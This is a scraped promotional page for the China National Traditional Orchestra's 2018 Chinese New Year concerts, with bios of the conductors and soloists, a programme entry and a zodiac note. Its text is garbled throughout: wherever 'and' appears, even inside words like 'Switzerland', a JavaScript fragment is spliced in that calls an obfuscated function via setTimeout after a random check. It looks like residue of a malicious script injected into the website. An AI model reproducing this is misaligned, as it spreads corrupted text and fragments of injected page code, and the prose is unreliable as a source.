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In 2018, the Year of the Dog will be welcomed with Chinese New Year Concerts in Switzerlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, Austria, Germany andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hungary. Audiences can expect a multifaceted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energetic performance with top soloists, presented by the China National Traditional Orchestra.


ORCHESTRA

Orchestra-mini-IIChina National Traditional Orchestra

The China National Traditional Orchestra (CNTO) is a state-level performing arts institution funded by the Ministry of Culture. Members of CNTO—comprising an orchestra of traditional instruments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a chorus—are highly-esteemed musicians both at home andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and abroad.

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COMPOSER-IN-RESIDENCE

JIANGYINGJIANG YING

Composer Jiang Ying has devoted her career in the exploration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and innovation of Chinese traditional music. In 2010, immediately upon her graduation with a Master’s degree from the Shanghai Conservatory of Music, she was appointed composer-in-residence at the Shanghai Chinese Orchestra.

CONDUCTOR IN LUZERN, MUNICH AND BUDAPEST

ConductorhongxiaCHEN XIEYANG
Renowned conductor Chen Xieyang graduated from Shanghai Conservatory of Music andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was then appointed resident conductor of the Shanghai Ballet Orchestra. In 1982 Chen was invited to conduct the Asben Festival Orchestra in America andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was hailed as a success.

RESIDENT CONDUCTOR

ConductorhongxiaLIU SHA 

Resident conductor of the China National Traditional Orchestra, Liu Sha is widely recognized as a leading figure among the new generation of traditional orchestra conductors. To date, he has conducted the China National Traditional Orchestra on its tours to Russia, France, Korea, Switzerlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, Italy, Austria, Germany andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the United States.

SOLOISTS

FENG MANTIAN

ist ein berühmter Zhongruan-Spieler und der Erfinder von “Fengs Ruanxian”. Mit 6 Jahren begann er das Spiel der Yueqin von seinem Vater Feng Shaoxian zu lernen. Gegenwärtig ist er Solist im China National Traditional Orchestra, und nahm in den letzten Jahren an “Der Klang Chinas”, “Wunderschönes Xinjiang”, “Die großen Klassiker” sowie weiteren großen Stücken teil.

SOLOISTS

ZHAO CONG

ist eine berühmte chinesische Pipa-Spielerin, die international Anerkennung in der Welt der klassischen Musik genießt und es als ihre Aufgabe ansieht, die traditionelle chinesische Musik weiterzuentwickeln. Sie hat sich über viele Jahre hinweg der weltweiten Verbreitung der Pipa-Kunst verschrieben.

SOLOISTS

JIN YUE

ist berühmte Erhu-Spielerin, Erhu-Stimmführerin im China National Traditional Orchestra, Mitglied der chinesischen Musikervereinigung, Mitglied der Chinesischen Vereinigung für Orchestermusik, “Botschafterin für buddhistische Musik” der buddhistischen Kulturgemeinde in Hongkong und Mitglied im Komitee für das Huqin Fach.

SOLOISTS

ZHU JIANPING

ist Percussion-Stimmführer im China National Traditional Orchestra, berühmter Percussion-Musiker und Komponist. 1997 graduierte er vom Chinesischen Musikkonservatorium, 1998 spielte er mit dem Nationalorchester das “Frühlingskonzert” im großen Saal des Wiener Musikvereins, viele Male tourte er durch Japan, Südkorea, Deutschlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, Frankreich, Griechenlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, die USA und weitere Länder.

PROGRAM

music-part-miniTHE 21ST GRAND CHINESE NEW YEAR CONCERT The 21st Grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Chinese New Year Concert
China National Traditional Orchestra
Conductor: Chen Xieyang, Liu Sha

Programme: The Silk Road

1. The Silk Road
Traditional Orchestra piece
Composer: Jiang Ying
Length :9’30

SIGN OF THE YEAR

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If you are born in 1934, 1946, 1958, 1970, 1982, 1994, 2006 or 2018, you will have a very special birthday in the coming year: according to the 12-years-cycle of the Chinese Lunar Calendar you belong to the zodiac of the Dog. In addition, each zodiac animal is associated with one of the five elements: Gold (Metal), Wood, Water, Fire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Earth. That fore, every zodiac associated with an element comes back only once in 60 years. Chinese traditional culture believes that a person’s characteristics are formed by his birth year’s zodiac animal sign in combination with the element.